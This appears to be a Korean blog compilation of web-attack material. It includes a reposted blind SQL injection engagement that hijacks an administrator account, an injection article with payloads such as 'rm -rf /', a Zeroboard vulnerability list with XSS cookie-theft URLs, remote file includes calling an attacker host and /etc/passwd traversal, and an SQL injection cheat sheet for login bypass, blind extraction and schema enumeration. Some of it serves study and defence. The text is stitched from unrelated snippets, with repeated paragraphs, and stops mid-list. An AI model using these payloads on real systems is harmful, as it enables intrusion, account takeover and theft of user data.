프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법
프레임 안에 있는 각 페이지에 아래 자스소스를 넣어두면
페이지를 직접 부르는 경우 항상홈 페이지로 가게 되므로 프레임을 부르게 됩니다.
from http://www.happyscript.net/Blog/view.asp?rIdx=3400&page=1&hbIdx=3427
프레임을 사용하는 페이지에서 직접 페이지로 들어오는걸 막는법
프레임 안에 있는 각 페이지에 아래 자스소스를 넣어두면
페이지를 직접 부르는 경우 항상홈 페이지로 가게 되므로 프레임을 부르게 됩니다.
from http://www.happyscript.net/Blog/view.asp?rIdx=3400&page=1&hbIdx=3427
주소창에 자바스크립트입력으로 복사 방지를 무력하게 하는 방법입니다.
예전부터 사용하고있는데 유용한것같아서 올립니다.
주소창에 글 붙여넣기한다음에 엔터를 치면 "ok"라고 뜬뒤로 복사 가능합니다.
v$filestat로 디스크 I/O 를 확인해보자
v$filestat을 조회하여 각 디스크 파일의 디스크 I/O를 확인 할 수 있습니다
읽기나 쓰기 쏠림 디스크가 있다면 적절히 조절해 주는것이 바람직 하다
특히 읽기가 많은 디스크의 경우에는 빠른 I/O를 위해 처리속도가 빠른 디스크에 두는것이 좋다
MYSQL 서버 캐릭셋이 EUCKR이 아닐경우
클라이언트 설정 파라미터
이후 한글이 잘 들어감
This appeared to be an entirely custom application, and we had no prior knowledge of the application nor access to the source code: this was a "blind" attack. A bit of poking showed that this server ran Microsoft's IIS 6 along with ASP.NET, and this suggested that the database was Microsoft's SQL server: we believe that these techniques can apply to nearly any web application backed by any SQL server.
The login page had a traditional username-and-password form, but also an email-me-my-password link; the latter proved to be the downfall of the whole system.
When entering an email address, the system presumably looked in the user database for that email address, and mailed something to that address. Since my email address is not found, it wasn't going to send me anything.
So the first test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 error (server failure), and this suggests that the "broken" input is actually being parsed literally. Bingo.
We speculate that the underlying SQL code looks something like this:
Here, $EMAIL is the address submitted on the form by the user, and the larger query provides the quotation marks that set it off as a literal string. We don't know the specific names of the fields or table involved, but we do know their nature, and we'll make some good guesses later.
When we enter steve@unixwiz.net' - note the closing quote mark - this yields constructed SQL:
when this is executed, the SQL parser find the extra quote mark and aborts with a syntax error. How this manifests itself to the user depends on the application's internal error-recovery procedures, but it's usually different from "email address is unknown". This error response is a dead giveaway that user input is not being sanitized properly and that the application is ripe for exploitation.
Since the data we're filling in appears to be in the WHERE clause, let's change the nature of that clause in an SQL legal way and see what happens. By entering anything' OR 'x'='x, the resulting SQL is:
Because the application is not really thinking about the query - merely constructing a string - our use of quotes has turned a single-component WHERE clause into a two-component one, and the 'x'='x' clause is guaranteed to be true no matter what the first clause is (there is a better approach for this "always true" part that we'll touch on later).
But unlike the "real" query, which should return only a single item each time, this version will essentially return every item in the members database. The only way to find out what the application will do in this circumstance is to try it. Doing so, we were greeted with:
Your login information has been mailed to random.person@example.com.
Our best guess is that it's the first record returned by the query, effectively an entry taken at random. This person really did get this forgotten-password link via email, which will probably come as surprise to him and may raise warning flags somewhere.
We now know that we're able to manipulate the query to our own ends, though we still don't know much about the parts of it we cannot see. But we have observed three different responses to our various inputs:
The first two are responses to well-formed SQL, while the latter is for bad SQL: this distinction will be very useful when trying to guess the structure of the query.
The first steps are to guess some field names: we're reasonably sure that the query includes "email address" and "password", and there may be things like "US Mail address" or "userid" or "phone number". We'd dearly love to perform a SHOW TABLE, but in addition to not knowing the name of the table, there is no obvious vehicle to get the output of this command routed to us.
So we'll do it in steps. In each case, we'll show the whole query as we know it, with our own snippets shown specially. We know that the tail end of the query is a comparison with the email address, so let's guess email as the name of the field:
The intent is to use a proposed field name (email) in the constructed query and find out if the SQL is valid or not. We don't care about matching the email address (which is why we use a dummy 'x'), and the -- marks the start of an SQL comment. This is an effective way to "consume" the final quote provided by application and not worry about matching them.
If we get a server error, it means our SQL is malformed and a syntax error was thrown: it's most likely due to a bad field name. If we get any kind of valid response, we guessed the name correctly. This is the case whether we get the "email unknown" or "password was sent" response.
Note, however, that we use the AND conjunction instead of OR: this is intentional. In the SQL schema mapping phase, we're not really concerned with guessing any particular email addresses, and we do not want random users inundated with "here is your password" emails from the application - this will surely raise suspicions to no good purpose. By using the AND conjunction with an email address that couldn't ever be valid, we're sure that the query will always return zero rows and never generate a password-reminder email.
Submitting the above snippet indeed gave us the "email address unknown" response, so now we know that the email address is stored in a field email. If this hadn't worked, we'd have tried email_address or mail or the like. This process will involve quite a lot of guessing.
Next we'll guess some other obvious names: password, user ID, name, and the like. These are all done one at a time, and anything other than "server failure" means we guessed the name correctly.
As a result of this process, we found several valid field names:
There are certainly more (and a good source of clues is the names of the fields on forms), but a bit of digging did not discover any. But we still don't know the name of the table that these fields are found in - how to find out?
The application's built-in query already has the table name built into it, but we don't know what that name is: there are several approaches for finding that (and other) table names. The one we took was to rely on a subselect.
A standalone query of
Returns the number of records in that table, and of course fails if the table name is unknown. We can build this into our string to probe for the table name:
We don't care how many records are there, of course, only whether the table name is valid or not. By iterating over several guesses, we eventually determined that members was a valid table in the database. But is it the table used in this query? For that we need yet another test using table.field notation: it only works for tables that are actually part of this query, not merely that the table exists.
When this returned "Email unknown", it confirmed that our SQL was well formed and that we had properly guessed the table name. This will be important later, but we instead took a different approach in the interim.
At this point we have a partial idea of the structure of the members table, but we only know of one username: the random member who got our initial "Here is your password" email. Recall that we never received the message itself, only the address it was sent to. We'd like to get some more names to work with, preferably those likely to have access to more data.
The first place to start, of course, is the company's website to find who is who: the "About us" or "Contact" pages often list who's running the place. Many of these contain email addresses, but even those that don't list them can give us some clues which allow us to find them with our tool.
The idea is to submit a query that uses the LIKE clause, allowing us to do partial matches of names or email addresses in the database, each time triggering the "We sent your password" message and email. Warning: though this reveals an email address each time we run it, it also actually sends that email, which may raise suspicions. This suggests that we take it easy.
We can do the query on email name or full name (or presumably other information), each time putting in the % wildcards that LIKE supports:
Keep in mind that even though there may be more than one "Bob", we only get to see one of them: this suggests refining our LIKE clause narrowly.
Ultimately, we may only need one valid email address to leverage our way in.
One can certainly attempt brute-force guessing of passwords at the main login page, but many systems make an effort to detect or even prevent this. There could be logfiles, account lockouts, or other devices that would substantially impede our efforts, but because of the non-sanitized inputs, we have another avenue that is much less likely to be so protected.
We'll instead do actual password testing in our snippet by including the email name and password directly. In our example, we'll use our victim, bob@example.com and try multiple passwords.
This is clearly well-formed SQL, so we don't expect to see any server errors, and we'll know we found the password when we receive the "your password has been mailed to you" message. Our mark has now been tipped off, but we do have his password.
This procedure can be automated with scripting in perl, and though we were in the process of creating this script, we ended up going down another road before actually trying it.
So far, we have done nothing but query the database, and even though a SELECT is readonly, that doesn't mean that SQL is. SQL uses the semicolon for statement termination, and if the input is not sanitized properly, there may be nothing that prevents us from stringing our own unrelated command at the end of the query.
The most drastic example is:
-- Boom!The first part provides a dummy email address -- 'x' -- and we don't care what this query returns: we're just getting it out of the way so we can introduce an unrelated SQL command. This one attempts to drop (delete) the entire members table, which really doesn't seem too sporting.
This shows that not only can we run separate SQL commands, but we can also modify the database. This is promising.
Given that we know the partial structure of the members table, it seems like a plausible approach to attempt adding a new record to that table: if this works, we'll simply be able to login directly with our newly-inserted credentials.
This, not surprisingly, takes a bit more SQL, and we've wrapped it over several lines for ease of presentation, but our part is still one contiguous string:
Even if we have actually gotten our field and table names right, several things could get in our way of a successful attack:
In the case at hand, we hit a roadblock on either #4 or #5 - we can't really be sure -- because when going to the main login page and entering in the above username + password, a server error was returned. This suggests that fields we did not populate were vital, but nevertheless not handled properly.
A possible approach here is attempting to guess the other fields, but this promises to be a long and laborious process: though we may be able to guess other "obvious" fields, it's very hard to imagine the bigger-picture organization of this application.
We ended up going down a different road.
We then realized that though we are not able to add a new record to the members database, we can modify an existing one, and this proved to be the approach that gained us entry.
From a previous step, we knew that bob@example.com had an account on the system, and we used our SQL injection to update his database record with our email address:
After running this, we of course received the "we didn't know your email address", but this was expected due to the dummy email address provided. The UPDATE wouldn't have registered with the application, so it executed quietly.
We then used the regular "I lost my password" link - with the updated email address - and a minute later received this email:
From: system@example.com To: steve@unixwiz.net Subject: Intranet login This email is in response to your request for your Intranet log in information. Your User ID is: bob Your password is: hello
Now it was now just a matter of following the standard login process to access the system as a high-ranked MIS staffer, and this was far superior to a perhaps-limited user that we might have created with our INSERT approach.
We found the intranet site to be quite comprehensive, and it included - among other things - a list of all the users. It's a fair bet that many Intranet sites also have accounts on the corporate Windows network, and perhaps some of them have used the same password in both places. Since it's clear that we have an easy way to retrieve any Intranet password, and since we had located an open PPTP VPN port on the corporate firewall, it should be straightforward to attempt this kind of access.
We had done a spot check on a few accounts without success, and we can't really know whether it's "bad password" or "the Intranet account name differs from the Windows account name". But we think that automated tools could make some of this easier.
In this particular engagement, we obtained enough access that we did not feel the need to do much more, but other steps could have been taken. We'll touch on the ones that we can think of now, though we are quite certain that this is not comprehensive.
We are also aware that not all approaches work with all databases, and we can touch on some of them here.
We believe that web application developers often simply do not think about "surprise inputs", but security people do (including the bad guys), so there are three broad approaches that can be applied here.
abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789 @.-_+
Sidebar on email addresses
It's important to note here that email addresses in particular are troublesome to validate programmatically, because everybody seems to have his own idea about what makes one "valid", and it's a shame to exclude a good email address because it contains a character you didn't think about.
The only real authority is RFC 2822 (which encompasses the more familiar RFC822), and it includes a fairly expansive definition of what's allowed. The truly pedantic may well wish to accept email addresses with ampersands and asterisks (among other things) as valid, but others - including this author - are satisfied with a reasonable subset that includes "most" email addresses.
Those taking a more restrictive approach ought to be fully aware of the consequences of excluding these addresses, especially considering that better techniques (prepare/execute, stored procedures) obviate the security concerns which those "odd" characters present.
$sth = $dbh->prepare("SELECT email, userid FROM members WHERE email = ?;"); $sth->execute($email);
Statement s = connection.createStatement();
ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = "
+ formField); // *boom*
PreparedStatement ps = connection.prepareStatement( "SELECT email FROM member WHERE name = ?"); ps.setString(1, formField); ResultSet rs = ps.executeQuery();
Note that not all databases are configured the same way, and not all even support the same dialect of SQL (the "S" stands for "Structured", not "Standard"). For instance, most versions of MySQL do not support subselects, nor do they usually allow multiple statements: these are substantially complicating factors when attempting to penetrate a network.
We'd like to emphasize that though we chose the "Forgotten password" link to attack in this particular case, it wasn't really because this particular web application feature is dangerous. It was simply one of several available features that might have been vulnerable, and it would be a mistake to focus on the "Forgotten password" aspsect of the presentation.
This Tech Tip has not been intended to provide comprehensive coverage on SQL injection, or even a tutorial: it merely documents the process that evolved over several hours during a contracted engagement. We've seen other papers on SQL injection discuss the technical background, but still only provide the "money shot" that ultimately gained them access.
But that final statement required background knowledge to pull off, and the process of gathering that information has merit too. One doesn't always have access to source code for an application, and the ability to attack a custom application blindly has some value.
Thanks to David Litchfield and Randal Schwartz for their technical input to this paper, and to the great Chris Mospaw for graphic design (ⓒ 2005 by Chris Mospaw, used with permission).
Advanced_Topics_on_SQL_Injection_Protection
Absinthe does not aid in the discovery of SQL Injection holes. This tool will only speed up the process of data recovery.
Features:
만들어 진지는 좀 오래되었지만 꽁짜입니다
단순히 쉽게 테스트해보기는 좋네요
injection을 삽입할 파라미터를 추가(Injectable Parameter 체크)후 Initialize Injection 버튼을 클릭하세요
Hacking RSS and Atom Feed Implementations
RSS나 ATOM같은 XML 서비스 사용에 있어서 reader가 web based feed 라면 client역시 충분히 공격받을 수 있습니다
예) no_no_javascript Injection
위와같은 형태로 Javascirpt를 실행하여 불법S/W를 설치하거나, 쿠키등을 훔치게 된다
그럼 아래와 같이 만들면 어떻게 될까요?
대부분의 RSS viewer들은 <를 <로, >를 >로 컨버팅한 후 content를 browser 기반의 component로 실행하기 때문에 위와 같이 변경한다 해도 스크립트는 실행되게 된다
기타 자세한 내용은 첨부파일을 참조하세요 ^^
SQL뿐 아니라 LDAP에 대한 Injection code를 소개합니다
Malicious Code Injection: It’s Not Just for SQL Anymore
by: Bryan Sullivan
More and more, developers are becoming aware of the threats posed by malicious code, and SQL injection in particular, and by leaving code vulnerable to such attacks. However, while SQL is the most popular type of code injection attack, there are several others that can be just as dangerous to your applications and your data, including LDAP injection and XPath injection. While these may not be as well-known to developers, they are already in the hands of hackers, and they should be of concern.
In addition, much of the common wisdom concerning remediation of malicious code injection attacks is inadequate or inaccurate. Following these flawed recommendations will not improve the security of your application, but will only leave you with a false sense of security until the next time your application is compromised and your data is stolen, erased, or tampered with. It is important for developers to acquaint themselves with all code injection types that exist as well as the proper ways to fix any vulnerabilities to malicious code.
The Basic Premise of All Code Injection Types
Many people mistakenly think that they are safe from malicious code injection attacks because they have firewalls or SSL encryption. However, while a firewall can protect you from network level attacks, and while SSL encryption can protect you from an outside user intercepting data between two points, neither of these options offers any real protection from code injection attacks. All code injection attacks work on the same principle: a hacker piggybacks malicious code onto good code through an input field in the application. Therefore, the protection instead has to come from the code within the application itself.
There are many motives that hackers using malicious code injection attacks may have. They may wish to access a website or database that was intended only for a certain set of users. They may also wish to access a database in order to steal such sensitive information as social security numbers and credit cards. Other hackers may wish to tamper with a database – lowering prices, for example, so they can steal items from an e-commerce site with ease. And once an attacker has gained access to a database by using malicious code, he may even be able to delete it completely, causing chaos for the business that has been attacked.
The root of all code injection problems is that developers put too much trust into the users of applications. A developer should never trust the user to operate the application in a safe manner. There will always be someone who is looking to use malicious code in an exploitative manner.
Looking Beyond SQL Injections
Aside from SQL injections, there are several other types of malicious code injection attacks with which developers must become familiar. Three of these types of dangerous malicious code injections are XPath injection, LDAP injection, and command execution injection.
An XPath injection attack is similar to an SQL injection attack, but its target is an XML document rather than an SQL database. The attacker inputs a string of malicious code meant to trick the application into providing access to protected information. If your website uses an XML (Extensible Markup Language) document to store data and user input is included in an XPath query against that document, you may be vulnerable to an XPath injection.
For example, consider the following XML document used by an e-commerce website to store customers’ order history:
The website allows its users to search for items in their order history based on price. The XPath query that the application performs looks like this:
string query = "/orders/customer[@id='" +
customerId + "']/order/item[price >= '" +
priceFilter + "']";
If both the customerId and priceFilter values have not been properly validated, an attacker will be able to exploit the XPath injection vulnerability. Entering the following value for either value will select the entire XML document and return it to the attacker:
'] | /* | /foo[bar='
With one simple request, the attacker has stolen personal data including e-mail addresses and credit card numbers for every customer that has ever used the website. Blind XPath injection attacks, like blind SQL injection attacks, are possible, but in situations like our example they’re not even necessary. XPath queries do not throw errors when the search elements are missing from the XML document in the same way that SQL queries do when the search table or columns are missing from the SQL database. Because of the forgiving nature of XPath, it can actually be easier for an attacker to use malicious code to perform an XPath injection attack than an SQL injection attack.
LDAP Injection and Command Execution
Like SQL injection for SQL databases and XPath injection for XML documents, LDAP injection attacks provide the malicious user with access to an LDAP directory, through which he or she can extract information that would normally be hidden from view. For example, an attacker could possibly uncover personal or password-protected information about a professor listed in the directory of a collegiate site. A hacker using this technique may rely on monitoring the absence and presence of error messages returned from the malicious code injection to further pursue an attack.
Some examples of LDAP injection clauses are:
Finally, command execution can also provide the means for malicious code injection. Many times, a website calls out to another program on the system to accomplish some kind of goal. For example, in a UNIX system, the finger command can be used to find out details about when a user was last on the system, for how long, and so on. A user could, in this case, attach malicious code to the finger command and gain access to the system and its data process. So, the command:
finger bobsmithbecomes:finger bobsmith; rm –rf /
which will attempt to delete every file on the system.
Preventative Measures: The Good and the Bad
Several preventative actions have commonly been suggested to developers to protect applications from malicious code injection, but many of these have proven inadequate. For example, developers are told that turning off error messages can prevent code injection attacks, which is untrue. Some code injection attacks do not rely on error messages at all. These attacks are called “blind” injections. Since blind injection attacks can succeed even if error messages are suppressed, turning off error messages simply makes the application more obscure for the legitimate user while leaving data vulnerable to attack.
In addition, it is often said that using stored procedures for SQL calls can help remove vulnerabilities to SQL injections. This approach is easy to take with many applications – Oracle databases allow the user to write stored procedures in Java, while Microsoft SQL Server 2005 allows stored procedures to be written in .NET languages like C#. While there are many good reasons to use stored procedures, they do not solve the problem of SQL injection on their own. Using stored procedures simply shifts the burden of the problem onto the stored procedures. The complicated languages that allow the writing of stored procedures also are open to programming mistakes – mistakes that can lead to code injection vulnerability. The bottom line is that the developer has the responsibility to ensure that the data that is being passed to a database is safe and secure, so more steps must be taken at this stage.
The only real way to defend against all malicious code injection attacks is to validate every input from every user. While establishing a list of “bad” input values that should be blocked (a blacklist) may seem like an appropriate first step, this approach is extremely limited. A finite list of problems simply gives hackers the opportunity to discover ways around your list. There is simply no way to make sure that you are covering every possibility with your blacklist, so you are still leaving the application vulnerable to malicious code injections.
The correct way to validate input is to start instead with a whitelist – a list of allowable options. For example, a whitelist may allow usernames that fit within specific parameters – only eight characters long with no punctuation or symbols, and so on. This can reduce the surface area of a malicious code injection attack by specifying the proper format for the input into the field. The application can then reject input that does not fit the established format. This approach (unlike a blacklist) can prevent not only known, current attacks but also unknown, future attacks.
To be completely thorough, a developer should set up both white- and blacklists in order to cover all bases. In this way, the whitelist can be used to block the majority of attacks, while the blacklist can cover specific edge cases not handled by the whitelist. To protect against SQL injection, a whitelist could allow only alphanumeric input, while a “backup” blacklist could specifically disallow common SQL verbs like SELECT and UPDATE.
Conclusion
Developers may already be aware of SQL injections, but they may not be considering other types of malicious code injection attacks when creating a web application. Many applications are therefore left vulnerable to attack. A good developer should familiarize him or herself with other types of code injection, including LDAP injection and XPath injection, as well as the best ways to stop these attacks. In this way, applications can be made more secure at the start of the development process, and data will be protected.
About the Author
Bryan Sullivan is a development manager at SPI Dynamics, a Web application security products company. Bryan manages the DevInspect and QAInspect Web security products, which help programmers maintain application security throughout the development and testing process. He has a bachelor’s degree in mathematics from Georgia Tech and 11 years of experience in the information technology industry. Bryan is currently coauthoring a book on Ajax security, which will be published in summer 2007.
Security Test Tools for Web Applications
1. Web applications and their security problems
2. The Test Applications
3. Security Check Tools: Capabilities, Limitations, practical Tips
4. Free Tools
5. Watchfire AppScan Audit
6. SPI WebInspect
7. Acunetix Web Vulnerability Scanner
8. Tools not evaluated
9. Comparison Table for Commercial Tools
10. Useful Auxiliary Tools
11. Conclusion
12. Further Information
출처 SecurityPlus
게시판만들때 참고하면 많은 도움 됩니다
==============================================================================
안녕하세요. SecurityPlus입니다.
본 자료는 국내 해커 및 보안 강사로 활동 중인 이경태님께서 제공해 주셨습니다.
그럼, 많은 활용 바랍니다.
안녕히 계세요.
제로보드 취약점 총정리
■ 크로스사이트 스크립팅 취약점(2005.02.19)
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E
http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(no_no_no_document.cookie)%3C/script%3E
http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%
3C/script%3E
http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(no_no_no_document.cookie)%3C/script%3E
■ Print_Category.PHP 원격 File Include 취약점(2005.01.13)
http://www.example.com/[zeroboard]/include/print_category.php?setup[use_category]=1&dir=http://[attacker]/
■ DIR 파라미터 원격 File Include 취약점(2005.01.13)
The following proof of concept examples are available:
http://www.example.com/skin/zero_vote/error.php?dir=http://[ATTACKER]
http://www.example.com/skin/zero_vote/login.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/setup.php?dir=http://[attacker]/
http://www.example.com/skin/zero_vote/ask_password.php?dir=http://[attacker]/
■ 다중 File Disclosure 취약점(2005.01.13)
http://www.example.com/_head.php?_zb_path=../../../../../etc/passwd%00
http://www.example.com/include/write.php?dir=../../../../../etc/passwd%00
http://www.example.com/outlogin.php?_zb_path=../../../../../etc/passwd%00
■ 다중원격 스크립트 삽입과 크로스사이트 스크립팅 취약점(2004.12.24)
http://www.example.com/outlogin.php?_zb_path=ftp://[attacker]/pub/
http://www.example.com/include/write.php?dir=http://[attacker]/
http://www.example.com/check_user_id.php?user_id=<script>alert(no_no_no_document.cookie)</sc
ript>
■ 악성 PHP 삽입(2002.06.14)
We checked the vulnerability with "http://BOARD_URL/_head.php?_zb_path=WANTED_TO_INCLUDE"
and
made a sample code, alib.php,
--------------------alib.php--------------
<? passthru("/bin/ls"); ?>
-----------------------------------------
and type the following URL to invoke this sample code.
TEST URL : http://BOARD_URL/_head.php?_zb_path=http://MYBOX/a"
-------out put----------------------------
_foot.php _head.php admin admin.php admin_sendmail_ok.php admin_setup.php apply_vote.php
check_user_id.php comment_ok.php config.php data del_comment.php del_comment_ok.php
delete.php delete_ok.php download.php error.php icon image_box.php images
include index.html install.php install1.php install2.php install2_ok.php install_ok.php
latest_skin lib.php license.txt list_all.php login.php login_check.php
logout.php lostid.php lostid_search.php member_join.php member_join_ok.php member_memo.php
member_memo2.php member_memo3.php member_modify.php member_modify_ok.php
member_out.php open_window.php outlogin.php outlogin_skin schema.sql script
select_list_all.php send_message.php setup.php skin style.css view.php view_info.php
view_info2.php view_preview.php vote.php write.php write_ok.php zboard.php
zipcode
Fatal error: Call to undefined function: dbconn() in /home/morris/public_html/tmp/bbs/_head.php
on line 41
-----------------------------------------
■ PHP Include File 명령실행 취약점(2002.01.15)
PHP Source file a.php
<? passthru("/bin/ls"); ?>
Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a
Advanced SQL Injection
SQL은 Structured Query Language의 표준이며, 사용자에게 데이터 베이스를 접근 할 수 있게 해준다. 현재 대부분 SQL99가 SQL Language의 표준이다. SQL은 DB에 대한 Query를 실행 시킬 수 있고, DB로부터 수정/검색/삽입/삭제/업데이트 할 수 있다.
SQL Language에는 많은 다른 버전이 있지만, 거의 비슷한 키워드의 명령어를 지원한다.(예: SELECT,UPDATE,DELETE,INSERT,WHERE 등) 대부분의 SQL 데이터베이스 프로그램은 SQL 표준 외에 그들 자신만의 확장된 언어를 가지고 있다. 관계형 데이터베이스는 하나 또는 그 이상의 테이블을 포함하고, 각각의 이름을 가진다. 테이블은 레코드단위로 데이터를 가진다.
예) 아래의 테이블 명은 “user”이고 행과 열로서 데이터가 저장된다.
userID |
Name |
LastName |
Login |
Password |
1 |
John |
Smith |
jsmith |
hello |
2 |
Adam |
|
adamt |
qwerty |
3 |
Daniel |
Thompson |
dthompson |
dthompson |
▪ 데이터 베이스로 SQL Query를 보내서, 결과 값을 되돌려 받을 수 있다. 위의 테이블을 이용해서 다음과 같은 Query를 사용 할 수 있다.
a) SELECT LastName FROM users WHERE UserID = 1;
b) 결과 값(레코드 셋)
LastName |
Smith |
▪ Data Manipulation Language(데이터 조작어) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데이터를 조작하는 언어를 뜻 한다.
▪ Data Definition Language(데이터 정의어) : 데이터 정의어로서 데이터베이스 테이블을 생성/삭제 하고, 인덱스(키)를 정의, 테이블 사이의 관계를 설정 하며, 데이터베이스 테이블 사이의 제약 조건을 설정한다.
예) CREATE TABLE, ALTER TABLE, DROP TABLE등과 같은 구문
대부분의 SQL 데이터베이스들은 관계형 데이터베이스 기반이다. SQL Injection을 위한 중요한 사실은 관계형 데이터 베이스는 Codd의 12법칙 중에서 4법칙을 확실히 따르고 있다는 것이다. 제4법칙 : 메타데이터(데이터베이스에 관한 데이터)는 반드시 일반적인 데이터들처럼 데이터베이스에 저장 되어야 한다. 또한 데이터 베이스구조는 SQL Query문을 통해서 읽거나 수정 할 수 있다
데이터베이스 엔진에 삽입하는 SQL 명령들은 애플리케이션을 통해 이용 가능하다. 이것은 오늘날의 대부분의 공통적인 웹사이트의 취약점 중에 하나이다. 이것은 Web Application의 발전에 따른 것이고, DB나 Web Server의 문제가 아니다. 대부분의 프로그래머들은 여전히 이 문제를 인식하지 못한다. 많은 지침서와 데모 템플릿이 취약 하다. 심지어 인터넷에 게시된 많은 솔루션들도 좋지 못하다. 모의 해킹을 의뢰한 60%가 넘는 고객의 시스템이 SQL Injection에 취약하다는 결과를 내놓는다. 대부분의 SQL 데이터베이스들 그리고 프로그래밍 언어들은 잠재적으로 취약하다. DBMS는 MS SQL Server, Oracle, MySQL, Postgres, DB2, MS Access, Sybase, Informix 등이 이다.
애플리케이션을 통한 데이터베이스 접근 방법
▪ Perl and CGI scripts
▪ ASP, JSP, PHP
▪ XML, XSL and XSQL
▪ no_javascript
▪ VB, MFC, and other ODBC-based tools and APIs
▪ DB specific Web-based applications and API’s
▪ Reports and DB Applications
▪ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)
SELECT * FROM users WHERE login = 'victor' AND password = '123' |
1) ASP/MS SQL Server 로그인 문법
var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'"; |
a)문자를 통한 Injection
formusr = ' or 1=1 – – formpwd = anything |
b) 최종 쿼리 결과
SELECT * FROM users WHERE username = ' ' or 1=1 – – AND password = 'anything' |
2) PHP/MySQL 로그인 문법
$sql = "SELECT * FROM clients WHERE account = $formacct AND pin = $formpin"; |
a) 숫자 입력 필드에 삽입
$formacct = 1 or 1=1 # $formpin = 1111 |
b) 최종 쿼리 결과
SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111 |
취약점은 어디든지 생길 수 있고, 아래의 사항을 모두 체크 해야 한다.
a) 웹 폼의 필드
b) URL 쿼리 스트링의 스크립트 파라미터 값
c) 쿠키 또는 히든 필드에 저장된 값
d) 아래의 문자열을 모든 입력 필드에 테스트해야 한다.
▪ 문자 : ' " ) # || + > ▪ SQL Query 명령을 공백(구분자)과 같이: %09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec) ▪ 지연 쿼리:' waitfor delay ' |
아래의 항목들을 알아내려고 시도해야 한다.
a) 출력 메커니즘 연구하기
1. 웹 애플리케이션의 쿼리 결과 값을 이용한다.
2. 에러 메시지 : 에러 메시지로부터 입력 값 검증을 유추 할 수 있다.
3. Blind SQL Injection : 시간의 지연 또는 에러 메시지를 사용하여 정보를 추출한다. Blind SQL Injection은 SQL Injection과 거의 비슷하지만, 많은 Query를 통해서 정보가 수집해야 되고, 또한 필드 값이나 테이블명과 같은 정보를 추측해야 하므로, 매우 느리고 더욱 어렵다.
■ 에러 메시지를 통해서 정보 추출 하기
i. 그룹 핑 에러
' group by columnnames having 1=1 - - |
ii. 타입의 불일치
' union select 1,1,'text',1,1,1 - - ' union select 1,1, bigint,1,1,1 - - |
iii. 더 좋은 방법으로, DB에서 하위 Query를 이용 한다.
' and 1 in (select 'text' ) - - |
iv. 데이터를 CAST또는 CONVERT연산자를 이용한 에러메시지 도출도 필요하다.
■ Blind Injection
i. 출력 시 나오는 다른 출력 값을 이용
' and condition and '1'='1 |
ii. IF문을 사용
'; if condition waitfor delay ' '; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1; |
iii. 추가적으로 우리는 모든 타입의 Query를 실행 할 수 있지만, 출력된 정보에 대해 디버깅할 수는 없다. 우리는 단지 yes/no 응답을 얻을 수 있다. 또한, 특정 필드의 데이터에 대한 ASCII값을 추출 할 수 있다. 매우 까다로운 작업이지만, SQueaL과 같은 자동화된 툴도 있다.
b) 쿼리의 이해
i. SELECT 명령문 - 대부분의 Injection은 SELECT 명령을 이용한다.
SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 -- GROUP BY x HAVING x = y ORDER BY x |
ii. UPDATE 명령문 – 아래와 같이 웹 애플리케이션에서 당신의 패스워드 부분을 수정 할 수 있다.
UPDATE users SET password = 'new password' WHERE login = logged.user |
c) 데이터베이스 타입의 결정
대부분의 경우 에러 메시지는 어떤 DB엔진을 사용하는지 출력 한다. ODBC에러는 DB 타입 (드라이브 정보의 부분으로써)을 나타낸다. 만약에 ODBC 에러가 발생하지 않으면, 어떤 OS와 Web Sever를 사용하지를 추측해야 하거나 특별한 DB문자, 명령어, 저장된 프로시저를 통한 에러 메시지를 사용해야 한다.
▪ DBMS별 차이점 (1)
▪ DBMS별 차이점 (2)
d) 사용자의 권한 레벨을 알아 낸다.
i. 사용자의 권한 레벨을 알아 내기 위해서는 대부분의 SQL에서 구현되는 SQL99 내장된 아래와 같은 기능을 가지고 있다.
user or current_user session_user system_user ' and 1 in (select user ) -- '; if user ='dbo' waitfor delay ' ' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' ); |
ii. 기본 관리자 계정
sa, system, sys, dba, admin, root 등 |
iii. MS SQL 에서 dbo는 매핑 되어 있다. 사용자 dbo는 DB에서 모든 활동을 수행할 수 있는 권한을 가지고 있다. 서버의 고정된 규정에 의하면 Sysadmin의 DB를 사용하는 어떤 유저는 각 DB에서 dbo라고 불리는 특별한 사용자에게 매핑 되어 있다. 또한 sysadmin의 어떤 사용자에 의해 만들어진 객체는 자동적으로 dbo를 가진다.
e) OS interaction 레벨을 결정
데이터 베이스, 쿼리구조, 권한에 관한 정보를 알게 되면, 공격이 가능해 진다.
a) 테이블에 정의된 사용자를 열거하는 Query
' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- |
b) DB에서 테이블 컬럼명을 열거하는 쿼리
▪ MS SQL SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename ') sp_columns tablename (this stored procedure can be used instead) ▪ MySQL show columns from tablename ▪ Oracle SELECT * FROM all_tab_columns WHERE table_name='tablename ' ▪ DB2 SELECT * FROM syscat.columns WHERE tabname= 'tablename ' ▪ Postgres SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename ' |
c) 모든 테이블과 컬럼명을 하나의 Query로 질의 하기
